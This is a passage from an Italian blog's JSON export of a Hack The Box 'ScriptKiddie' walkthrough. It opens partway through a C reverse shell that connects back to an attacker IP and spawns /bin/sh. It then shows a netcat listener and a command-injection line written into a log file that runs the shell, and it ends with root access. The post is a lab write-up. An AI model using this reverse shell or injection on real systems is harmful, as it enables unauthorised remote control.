revsockaddr.sin_addr.s_addr = inet_addr(\"10.10.14.28\");\n\n    connect(sockt, (struct sockaddr *) &amp;revsockaddr,\n    sizeof(revsockaddr));\n    dup2(sockt, 0);\n    dup2(sockt, 1);\n    dup2(sockt, 2);\n\n    char * const argv&#91;] = {\"\/bin\/sh\", NULL};\n    execve(\"\/bin\/sh\", argv, NULL);\n\n    return 0;\n}\n<\/code><\/pre>\n\n\n\n<p>messa in ascolto la suddetta porta sulla mia VM:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:\/opt\/htb\/ScriptKiddie# nc -nlvp 6666\nlistening on &#91;any] 6666 ...\n<\/code><\/pre>\n\n\n\n<p>compilata la shell sulla VM victim:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ gcc dio.c -o \/home\/kid\/dio\nkid@scriptkiddie:~$\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ echo 'a b ;\/home\/kid\/dio #' &gt; \/home\/kid\/logs\/hackers\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"695\" height=\"112\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk16.jpg\" alt=\"\" class=\"wp-image-2345\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk16.jpg 695w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk16-300x48.jpg 300w\" sizes=\"auto, (max-width: 695px) 100vw, 695px\" \/><\/figure>\n\n\n\n<p>FINALMENTE.<\/p>\n\n\n\n<p>da qui  in poi, tutto in discesa (<code>sudo<\/code>):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"966\" height=\"182\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk17.jpg\" alt=\"\" class=\"wp-image-2346\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk17.jpg 966w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk17-300x57.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk17-768x145.jpg 768w\" sizes=\"auto, (max-width: 966px) 100vw, 966px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"956\" height=\"815\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk18.jpg\" alt=\"\" class=\"wp-image-2347\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk18.jpg 956w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk18-300x256.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk18-768x655.jpg 768w\" sizes=\"auto, (max-width: 956px) 100vw, 956px\" \/><\/figure>\n\n\n\n<p>got root \ud83d\ude42<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>c&#8217;ho perso cos\u00c3\u00ac tanto tempo che vale la pena farci un post&#8230;. come dicevo quasi esattamente l&#8217;anno scorso, ho deciso di buttarmi un po&#8217; pi\u00c3\u00b9 seriamente nell&#8217;affascinante mondo dell&#8217;ethical hacking (&#8230;) il mio impegno di routine (ah, come amo la routine. com&#8217;\u00c3\u00a8 rassicurante) \u00c3\u00a8 cercare di fare una VM a settimana su hackthebox.eu l&#8217;ultima \u00c3\u00a8 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,3,19],"tags":[],"class_list":["post-2323","post","type-post","status-publish","format-standard","hentry","category-tmrc","category-vita","category-walkthrough"],"_links":{"self":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/2323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2323"}],"version-history":[{"count":8,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/2323\/revisions"}],"predecessor-version":[{"id":2351,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/2323\/revisions\/2351"}],"wp:attachment":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}